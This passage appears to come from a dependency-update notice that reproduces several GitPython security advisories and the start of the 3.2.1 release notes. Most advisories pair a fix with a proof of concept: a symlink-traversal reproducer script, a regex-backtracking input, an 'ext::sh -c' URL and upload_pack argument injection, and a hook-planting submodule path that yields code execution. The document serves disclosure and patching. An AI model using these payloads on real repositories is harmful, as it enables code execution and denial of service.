fresh source checkout: ```bash git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git python3 poc.py /path/to/GitPython python3 poc.py --absolute-link /path/to/GitPython ``` `--absolute-link` commits the temporary external directory's absolute path instead of `../outside`. ```python #!/usr/bin/env python3 """Local-only reproducer for GitPython Submodule.move() symlink traversal.""" from __future__ import annotations import argparse import json import subprocess import sys import tempfile from pathlib import Path from typing import Optional def run_git( *args: str, cwd: Optional[Path] = None, check: bool = True ) -> subprocess.CompletedProcess: command = [ "git", "-c", "user.name=GitPython security fixture", "-c", "user.email=fixture@example.invalid", "-c", "protocol.file.allow=always", *args, ] return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True) def read_core_worktree(parent) -> str: module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config" return parent.git.config("--file", str(module_config), "--get", "core.worktree") def read_gitmodules_path(parent) -> str: modules_file = Path(parent.working_tree_dir) / ".gitmodules" return parent.git.config( "--file", str(modules_file), "--get", "submodule.logical-name.path" ) def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("source_root", type=Path, help="GitPython source checkout") parser.add_argument( "--absolute-link", action="store_true", help=( "Use the temporary external directory's absolute path as the committed " "symlink target" ), ) args = parser.parse_args() source_root = args.source_root.resolve() # The tested GitPython source trees include gitdb and smmap at their roots. sys.path[:0] = [ str(source_root), str(source_root / "gitdb"), str(source_root / "smmap"), ] import gitdb # pylint: disable=import-outside-toplevel import smmap # pylint: disable=import-outside-toplevel from git import Repo # pylint: disable=import-outside-toplevel with tempfile.TemporaryDirectory(prefix="gitpython-move-poc-") as temporary: root = Path(temporary) module_source = root / "module-source" attacker = root / "attacker-parent" victim = root / "victim-parent" outside = root / "outside" run_git("init", "--quiet", str(module_source)) (module_source / "SELF_GENERATED_CANARY.txt").write_text( "SELF_GENERATED_CANARY\n", encoding="utf-8" ) run_git("add", "SELF_GENERATED_CANARY.txt", cwd=module_source) run_git("commit", "--quiet", "-m", "fixture", cwd=module_source) outside.mkdir() run_git("init", "--quiet", str(attacker)) run_git( "submodule", "add", "--quiet", "--name", "logical-name", str(module_source), "module", cwd=attacker, ) link_target = str(outside.resolve()) if args.absolute_link else "../outside" (attacker / "vendor").symlink_to(link_target, target_is_directory=True) run_git("add", ".gitmodules", "module", "vendor", cwd=attacker) run_git("commit", "--quiet", "-m", "attacker-controlled layout", cwd=attacker) run_git("clone", "--quiet", str(attacker), str(victim)) run_git("submodule", "update", "--init", "--quiet", cwd=victim) parent = Repo(victim) submodule = parent.submodule("logical-name") before = { "status": parent.git.status("--porcelain"), "write_tree": parent.git.write_tree(), "vendor_index": parent.git.ls_files("--stage", "vendor"), "index_paths": parent.git.ls_files().splitlines(), "gitmodules_path": read_gitmodules_path(parent), "source_canary": (victim / "module" / "SELF_GENERATED_CANARY.txt").exists(), "external_canary": ( outside / "module" / "SELF_GENERATED_CANARY.txt" ).exists(), "module_core_worktree": read_core_worktree(parent), } error = None try: submodule.move( "vendor/module" ) # Fixed application value; attacker does not control it. # Capture the exact type and text so a patched rejection remains visible. except Exception as exception: error = {"type": type(exception).__name__, "message": str(exception)} write_tree = None write_tree_error = None try: write_tree = parent.git.write_tree() except Exception as exception: write_tree_error = { "type": type(exception).__name__, "message": str(exception), } result = { "imported_modules": { "git": str(Path(sys.modules["git"].__file__).resolve()), "gitdb": str(Path(gitdb.__file__).resolve()), "smmap": str(Path(smmap.__file__).resolve()), }, "committed_symlink_target": link_target, "before": before, "call_error": error, "after": { "status": parent.git.status("--porcelain"), "source_canary": ( victim / "module" / "SELF_GENERATED_CANARY.txt" ).exists(), "external_canary": ( outside / "module" / "SELF_GENERATED_CANARY.txt" ).exists(), "index_paths": parent.git.ls_files().splitlines(), "gitmodules": (victim / ".gitmodules").read_text(encoding="utf-8"), "gitmodules_path": read_gitmodules_path(parent), "submodule_path": submodule.path, "module_core_worktree": read_core_worktree(parent), "write_tree": write_tree, "write_tree_error": write_tree_error, }, } print(json.dumps(result, indent=2, sort_keys=True)) parent.close() return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ##### Observed result The relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions: | State | Before | After unpatched `move()` | | --- | --- | --- | | API result | not called | returns successfully | | Original checkout | `module/SELF_GENERATED_CANARY.txt` exists | checkout is gone | | External destination | `outside/module` absent | canary exists under `outside/module` | | Parent index | `.gitmodules`, `module`, `vendor` | `.gitmodules`, `vendor`, `vendor/module` | | `.gitmodules` path | `module` | `vendor/module` | | module `core.worktree` | `../../../module` | `../../../vendor/module` | | `git write-tree` | succeeds | fails | The failure after the move is: ```text You have both vendor and vendor/module fatal: git-write-tree: error building trees ``` The tracked attacker input is present in the clean clone before the call: ```text 120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor ``` With the proposed patch, the same calls raise before mutation: ```text ValueError: Submodule checkout path 'vendor/module' contains a symbolic link ``` The checkout, external directory, index, `.gitmodules`, and module configuration then remain unchanged, and `git write-tree` succeeds. ##### Root cause `Submodule._to_relative_path()` delegates to a helper that uses `abspath()`, `commonpath()`, and `relpath()` to enforce lexical containment. These operations normalize `..`, but they do not resolve or reject an existing intermediate symbolic link. The relevant helper is `git.util._to_relative_path()`: ```python root_abs = osp.abspath(os.fspath(root)) path_abs = osp.abspath(osp.join(root_abs, path_str)) common_path = osp.commonpath([root_abs, path_abs]) if common_path != root_abs: raise ValueError(...) relative_path = to_native_path_linux(osp.relpath(path_abs, root_abs)) ``` `Submodule.move()` then joins the accepted relative path to the worktree and passes it to filesystem operations, including `os.listdir()` and `os.renames()`: ```python module_checkout_path = self._to_relative_path(self.repo, module_path) ... module_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path) ... os.renames(cur_path, module_checkout_abspath) ``` The operating system resolves `vendor/module` through the checked-out `vendor` link at that point. GitPython already applies the intended component check to the source checkout through `Submodule.abspath`: it walks every component and rejects `os.path.islink(path)`. The destination in `move()` does not use that guard. ##### Suggested fix The proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It: - normalizes the destination exactly once; - preserves the existing early return for a no-op move; - rejects symbolic links in every intermediate destination component; - preserves existing final-component symlink behavior; - leaves `Submodule.abspath`'s all-component guard intact. The final-component exception preserves current compatibility. The existing code first uses `isfile()` and `listdir()` to classify the link target, then uses `os.remove()` to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces `OSError` without changing repository state. Because the pre-removal `isfile()`, `exists()`, and `listdir()` calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link. The component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because `move()` is decorated with `@unbare_repo`, `working_tree_dir` should be present; the helper nevertheless changes an impossible or malformed `None` state from the previous `str(None)` path construction to an explicit `NotADirectoryError`. ##### Validation The strict clean-clone proof was run with both relative and absolute committed symlink targets: | Revision | macOS ARM64 unpatched | Linux ARM64 unpatched | macOS patched | Linux patched | | --- | --- | --- | --- | --- | | 3.1.62 | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation | | `main` `b62e91b` | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation | Both platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable `/tmp`. Pinned reproducer SHA-256: `513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c`. The documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved `git`, `gitdb`, and `smmap` from that checkout (`git/__init__.py`, `gitdb/gitdb/__init__.py`, and `smmap/smmap/__init__.py`) and reproduced the same external move. In that exact checkout, `git ls-tree HEAD gitdb smmap git/ext` reports ordinary mode-`040000` trees for root `gitdb` and `smmap`, no `.gitmodules` file exists, and `git submodule status --recursive` produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries. The revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover: - relative and absolute ordinary moves from an external process working directory; - relative and absolute no-op ordering; - no-op compatibility when the stored path includes an existing symlink; - the unchanged `Submodule.abspath` leaf-link guard; - relative and absolute intermediate-link rejection before rename; - empty-directory, non-empty-directory, file, and dangling final-component link behavior. Ruff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above. Additional saved controls on both revisions record rejection of `../` and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and `RootModule.update()` rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof. ##### Impact limits and compatibility observations - An existing destination file and an existing non-empty destination directory are preserved and rejected. - A missing or empty leaf below an external symlink target can be populated. - `../` and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path. - `RootModule.update()` rejects the tested commit-to-commit symlinked path before its internal `move()` call, so ordinary clone/update is not an automatic trigger. - The proof does not require or demonstrate a local race. - The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim. - The exact affected history before 3.1.62 has not been established. ##### AI assistance and credit This report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof. Requested credit: GitHub user `dpfkdlemtp`. #### Severity Moderate #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-gq48-pqfc-9p58](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-gq48-pqfc-9p58) - [https://github.com/gitpython-developers/GitPython/pull/2232](https://github.com/gitpython-developers/GitPython/pull/2232) - [https://github.com/gitpython-developers/GitPython/commit/24b6f95d4b90ab1483fb601c736ac6e7c059cd61](https://github.com/gitpython-developers/GitPython/commit/24b6f95d4b90ab1483fb601c736ac6e7c059cd61) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0](https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-gq48-pqfc-9p58) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines [CVE-2026-110856](https://nvd.nist.gov/vuln/detail/CVE-2026-110856) / [GHSA-m64x-33q8-m5h7](https://github.com/advisories/GHSA-m64x-33q8-m5h7) <details> <summary>More information</summary> #### Details ##### Summary This is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made `Actor._from_string` regex-free, but `parse_actor_and_date` still runs `_re_actor_epoch` on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62. ##### Details `git/objects/util.py:322`: ```python _re_actor_epoch = re.compile(r"^.+? (.*) (\d+) ([+-]\d+).*$") ``` `.+?` and `(.*)` can both absorb the same run of spaces, and the required ` (\d+) ([+-]\d+)` tail is only checked after them. On a long line with no valid tail, the search retries every split point. It is called from `parse_actor_and_date` (`git/objects/util.py:335`), which runs on the author and committer lines in `Commit._deserialize` (`git/objects/commit.py:917`, `:931`) and on the tagger line in `git/objects/tag.py:129`. The published payload (letters plus an unterminated `<`) is fast on 3.1.62. Replacing the letters with spaces is not: | author line (after `author `) | 2 KB | 8 KB | 32 KB | |---|---|---|---| | `'a'*n + ' <'` (advisory payload) | 0.0 ms | 0.1 ms | 0.4 ms | | `' '*n` | 28 ms | 453 ms | 7,700 ms | | valid line, long name (control) | 0.0 ms | 0.0 ms | 0.0 ms | Cost grows about 16x for each 4x increase in length. ##### PoC ```python import time from git.objects.util import parse_actor_and_date line = "author " + " " * 32000 t = time.perf_counter() parse_actor_and_date(line) print(f"{time.perf_counter() - t:.1f} s") # ~7 s on 3.1.62 ``` End to end, reading `Commit.author` on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid `1191999972 -0700` tail takes 1.3 ms. Note for reproducing: `git hash-object -t commit -w` refuses such an object (`missingEmail`), so the test object was written with `--literally`. A remote can still serve one, because `fetch.fsckObjects` and `transfer.fsckObjects` default to false. This is the same delivery model as CVE-2026-87819 ("craft a commit object with a malformed author field"). ##### Impact CPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to `Commit.author`, `Commit.committer` or `TagObject.tagger` on a crafted object costs seconds, and a repository can contain many such objects. ##### Suggested fix Match the leading field name with `.[^ ]*` instead of `.+?`. Both stop at the first space after the first character, but `.[^ ]*` cannot overlap the following `(.*)`, so the backtracking disappears: ```python _re_actor_epoch = re.compile(r"^.[^ ]* (.*) (\d+) ([+-]\d+).*$") _re_only_actor = re.compile(r"^.[^ ]* (.*)$") ``` Verification on current main (73a72c9): - Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex. - `' '*n` at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms). - The existing test suite gives the same pass/fail set with and without the change - The new regression test, `test_parse_actor_and_date_malformed_line_is_linear`, fails on the old pattern (8.4 s) and passes with the fix (0.5 s). The full patch (fix plus regression test) is attached below. ```diff diff --git a/git/objects/util.py b/git/objects/util.py index a68d701f..d8c0594d 100644 --- a/git/objects/util.py +++ b/git/objects/util.py @@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -> Tuple[int, int]: # Precompiled regexes -_re_actor_epoch = re.compile(r"^.+? (.*) (\d+) ([+-]\d+).*$") -_re_only_actor = re.compile(r"^.+? (.*)$") +# The leading field name ("author", "committer", "tagger") is matched with ``.[^ ]*`` rather than +# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the +# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically. +_re_actor_epoch = re.compile(r"^.[^ ]* (.*) (\d+) ([+-]\d+).*$") +_re_only_actor = re.compile(r"^.[^ ]* (.*)$") def parse_actor_and_date(line: str) -> Tuple[Actor, int, int]: diff --git a/test/test_util.py b/test/test_util.py index cf4299d5..e1631420 100644 --- a/test/test_util.py +++ b/test/test_util.py @@ -22,6 +22,7 @@ from git.cmd import dashify from git.objects.util import ( altz_to_utctz_str, from_timestamp, + parse_actor_and_date, parse_date, tzoffset, utctz_to_altz, @@ -571,6 +572,30 @@ class TestUtils(TestBase): Actor("name last another", "some-very-long-email@example.com"), ) + def test_parse_actor_and_date_malformed_line_is_linear(self): + # A long author line whose trailing epoch/offset is missing or malformed used to make + # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line. + # The parse result must be unchanged; only the time spent reaching it should move. + for tail in ("", " notanumber -0700", " 1191999972", " -0700", " 1191999972 xx"): + line = "author " + " " * 32000 + tail + start = time.perf_counter() + actor, epoch, offset = parse_actor_and_date(line) + self.assertLess(time.perf_counter() - start, 1.0) + self.assertEqual(epoch, 0) + self.assertEqual(offset, 0) + + # Well-formed lines, including one with a long name, still parse exactly as before. + actor, epoch, offset = parse_actor_and_date( + "author Tom Preston-Werner <tom@mojombo.com> 1191999972 -0700" + ) + self.assertEqual(actor, Actor("Tom Preston-Werner", "tom@mojombo.com")) + self.assertEqual(epoch, 1191999972) + self.assertEqual(offset, 25200) + + actor, epoch, offset = parse_actor_and_date("author " + "a " * 16000 + "<a@b> 1 -0700") + self.assertEqual(actor.email, "a@b") + self.assertEqual(epoch, 1) + @ddt.data( ("name", ""), ("name", "prefix_"), ``` Found with AI assistance (Claude) and verified by hand. Brian Willows #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-m64x-33q8-m5h7](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-m64x-33q8-m5h7) - [https://github.com/gitpython-developers/GitPython/pull/2253](https://github.com/gitpython-developers/GitPython/pull/2253) - [https://github.com/gitpython-developers/GitPython/commit/8290c98d35465a38090cdcc1b17be69967092a15](https://github.com/gitpython-developers/GitPython/commit/8290c98d35465a38090cdcc1b17be69967092a15) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0](https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m64x-33q8-m5h7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython command wrappers omit unsafe protocol and option checks [CVE-2026-110857](https://nvd.nist.gov/vuln/detail/CVE-2026-110857) / [GHSA-w8jc-g24h-crhw](https://github.com/advisories/GHSA-w8jc-g24h-crhw) <details> <summary>More information</summary> #### Details ##### Summary GitPython has spent 2022-2026 rolling out two reusable guards method-by-method: `Git.check_unsafe_protocols(url)` (raises `UnsafeProtocolError` for `<transport>::` remote-helper URLs - CVE-2022-24439) and `Git.check_unsafe_options(...)` (raises `UnsafeOptionError` for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a `git` argv from caller-controlled values still have **neither**: 1. **`Git.ls_remote`** (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no `allow_unsafe_protocols` parameter exists. The same URL through `clone_from` raises `UnsafeProtocolError`. 2. **`Repo.merge_base`** (git/repo/base.py:895-936) - forwards `**kwargs`/`*rev` to `self.git.merge_base` with no guard; guarded sibling `iter_commits` sits 12 lines up. Its exception handler additionally swallows every non-128 `GitCommandError` into `[]`, masking the injection. 3. **`IndexFile.move`** (git/index/base.py:1092-1168) - forwards `**kwargs` to `git mv` twice (:1147, :1167); guarded sibling `remove()` is 23 lines above. Verified unfixed on `main @ a54d159` (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today. ##### Impact **Site 1 (`ls_remote`)** - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (`Git(...).ls_remote(attacker_url)`) with an `ext::sh -c ...` URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with `protocol.ext.allow=always` (marker executed). git >= 2.38.1 stock config refuses the transport (`fatal: transport 'ext' not allowed`, rc 128) - GitPython adds no defense-in-depth and surfaces a bare `GitCommandError`. Environments on git < 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against. **Sites 2/3** - latent argument-injection surface: caller kwargs flow 1:1 into the `git` argv before operands and `--` (cmd.py:1850 `opt_args + ext_args`), and `execute_kwargs` (incl. `shell=True`/`env` - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today `git merge-base`/`git mv` expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE. ##### Dynamic verification (today; GitPython main @&#8203; a54d159, git 2.55.0, Linux) | # | Call | Result | |---|---|---| | T1 | `repo.git.ls_remote('ext::/tmp/gp_touch.sh')`, stock config | git refuses (rc 128); **no `UnsafeProtocolError` from GitPython** | | T1b | same + victim config `protocol.ext.allow=always` | **marker created - arbitrary command executed** | | T2 | `repo.git.ls_remote('.', upload_pack=...)` | blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap) | | T3 | `repo.merge_base('main','side', upload_pack=...)` | **not blocked**; argv `git merge-base --upload-pack=... main side`; rc 129 silently converted to `[]` | | T4 | `repo.index.move(['f1','f2'], output=...)` | **not blocked**; option reaches `git mv` (rc 129) | ##### Coverage matrix (main @&#8203; a54d159) `check_unsafe_protocols`: 7 call sites (`_clone`, `archive`, `set_url`, `create`, `fetch`, `pull`, `push`) - none on `ls_remote`. `check_unsafe_options`: 24 call sites incl. `ls_remote`, `iter_commits`, `IndexFile.remove` - absent on `merge_base` and `move`. ##### Precedents (same repo, same guard family) - **CVE-2022-24439 / GHSA-hcpj-qp55-gfph** (critical): `check_unsafe_protocols` on the clone path - Site 1 is the same `ext::` primitive on a sibling API. - **CVE-2023-40267 / GHSA-pr76-5cm5-w9cj** (critical, 'incomplete fix for CVE-2022-24439'): `check_unsafe_options` - unguarded kwargs to argv treated as RCE (`shell=True` on Windows). - **CVE-2026-42215 / GHSA-rpm5-65cw-6hj4** (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026. - **CVE-2026-67323 / GHSA-956x-8gvw-wg5v** (high, 8.4, fixed 3.1.51): added `check_unsafe_options` to `archive`/`ls_remote`/`iter_commits`/`blame`; its PoC is literally `repo.git.ls_remote('.', upload_pack=...)`. Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: `ls_remote` got options but not protocols; `merge_base`/`move` got neither. ##### Recommended fix (existing helpers, 1-3 lines per site) 1. `Git.ls_remote`: `if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0])` + new `allow_unsafe_protocols: bool = False` (the `_clone` pattern, base.py:1536-1538). 2. `Repo.merge_base`: `check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options)` (the `iter_commits` pattern); stop masking non-128 statuses. 3. `IndexFile.move`: the `remove()` pattern with `unsafe_git_pathspec_from_file_options`. One advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-w8jc-g24h-crhw](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-w8jc-g24h-crhw) - [https://github.com/gitpython-developers/GitPython/pull/2251](https://github.com/gitpython-developers/GitPython/pull/2251) - [https://github.com/gitpython-developers/GitPython/commit/9ad28cc4c7176d22cd6181d69805058a719dd03b](https://github.com/gitpython-developers/GitPython/commit/9ad28cc4c7176d22cd6181d69805058a719dd03b) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0](https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w8jc-g24h-crhw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython validates a submodule's ".git" path only after cloning into it (RCE) [CVE-2026-114145](https://nvd.nist.gov/vuln/detail/CVE-2026-114145) / [GHSA-83vg-56qc-22m7](https://github.com/advisories/GHSA-83vg-56qc-22m7) <details> <summary>More information</summary> #### Details ##### Summary `create_submodule(name, path, url)` clones a submodule into the repo's own `.git` directory before it rejects the path. A `path` of ".git/hooks" is accepted by the pre-clone check, so the submodule is cloned straight into the live hooks directory, and a file named `post-checkout` in the submodule becomes an executable `.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`, but only after the clone already wrote to disk, and it does not remove the planted hook; on 3.1.x there is no such check and the call succeeds silently. Either way the hook runs on the next git operation (e.g. checkout), giving code execution. ##### Details The checkout path is validated too late, after the clone has already mutated disk. This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate submodule checkout and metadata paths before mutation") set out to enforce. Submodule.add() calls the permissive path check before cloning, and the strict check only reaches the ".git" alias at index time, after _clone_repo has written to disk: git/objects/submodule/base.py (Submodule.add) 599: path = cls._to_relative_path(repo, path) # accepts ".git/hooks" 673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into <worktree>/.git/hooks 714: index.add([sm], write=True) # strict check only triggers here git/index/base.py (IndexFile._preprocess_add_items) 732: _validate_repo_path(entry.path) # rejects ".git", too late _to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are rejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and runs at the index boundary. The ValueError it raises at line 732 does not roll back what _clone_repo already wrote. Version-dependent behavior: - 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the hook is already on disk and is not removed (incorrect order of validation vs. clone). - 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does not reject `.git`; create_submodule(path=".git/hooks", ...) returns with no error at all and the hook is planted silently. ##### Proof of concept Setup: evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload) victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO sample hooks (the state of a minimal/CI checkout, or `git init` with an empty template dir, or GIT_TEMPLATE_DIR/init.templateDir empty) import git, os.path as osp try: git.Repo("victim").create_submodule(name="x", path=".git/hooks", url=osp.abspath("evilsub")) except ValueError: pass # 3.2.0+: ".git" is rejected, but only AFTER the clone, so the plant already happened. # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook. ##### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every ##### affected version. Any later checkout runs it: ##### git -C victim checkout <other-branch> -> the hook runs -> code execution Verified live: - tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and `git checkout` executed it. - 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted and executed by `git checkout`. ##### Impact Arbitrary code execution. A library/app that creates a submodule from an attacker-influenced `path` ends up with an attacker-controlled executable in `.git/hooks`, which git runs on ordinary later operations. This affects any service that derives a submodule checkout path from untrusted data, e.g. one that ingests a submodule spec (name/path/url) from a user-supplied manifest or API request and feeds `path` into create_submodule. On 3.2.0+ the library's own validation is the thing that fails: it correctly rejects the `.git` path, but only after the submodule has already been cloned into place, so an app that traps the ValueError reasonably believes the unsafe path was blocked. Preconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`; (2) the target hook name is free in `.git/hooks`, true for minimal/CI/container checkouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default sample hooks present, `git clone` refuses the non-empty destination and no plant occurs. Affected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08 (3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-83vg-56qc-22m7](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-83vg-56qc-22m7) - [https://nvd.nist.gov/vuln/detail/CVE-2026-114145](https://nvd.nist.gov/vuln/detail/CVE-2026-114145) - [https://github.com/gitpython-developers/GitPython/pull/2264](https://github.com/gitpython-developers/GitPython/pull/2264) - [https://github.com/gitpython-developers/GitPython/commit/97eadb888d2f99567e3113f4e455be4ca128f697](https://github.com/gitpython-developers/GitPython/commit/97eadb888d2f99567e3113f4e455be4ca128f697) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1](https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-83vg-56qc-22m7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>gitpython-developers/GitPython (gitpython)</summary> ### [`v3.2.1`](https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1) [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.2.0...3.2.1) #### What's Changed - prepare for next release, v3.2 by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2260](https://github.com/gitpython-developers/GitPython/pull/2260) - objects: decode a byte mode before reading its digits by [@&#8203;SashaMIT](https://github.com/SashaMIT) in [#&#8203;2261](https://github.com/gitpython-developers/GitPython/pull/2261) - build(deps): bump <https://github.com/astral-sh/ruff-pre-commit> from v0.16.5 to 0.16.9 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2263](https://github.com/gitpython-developers/GitPython/pull/2263) - fix(submodule): validate destinations before mutation by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2264](https://github.com/gitpython-developers/GitPython/pull/2264) - fix(util): create lock files in one exclusive step by [@&#8203;radhika1314](https://github.com/radhika1314) in [#&#8203;2267](https://github.com/gitpython-developers/GitPython/pull/2267) - fix(commit): accumulate gpgsig continuation lines in linear time by [@&#8203;Keerthana-64](https://github.com/Keerthana-64) in [#&#8203;2268](https://github.com/gitpython-developers/GitPython/pull/2268) - fix(index): accept a single PathLike in checkout by [@&#8203;kokotatan](https://github.com/kokotatan) in [#&#8203;2269](https://github.com/gitpython-developers/GitPython/pull/2269) - fix(util): redact URL credentials without corrupting the host by [@&#8203;yunaremaia](https://github.com/yunaremaia) in [#&#8203;2270](https://github.com/gitpython-developers/GitPython/pull/2270) - change line for changelogs by [@&#8203;CrowZhen](https://github.com/CrowZhen) in [#&#8203;2272](https://github.com/gitpython-developers/GitPython/pull/2272) - fix(commit): reject identity fields that alter commit headers by 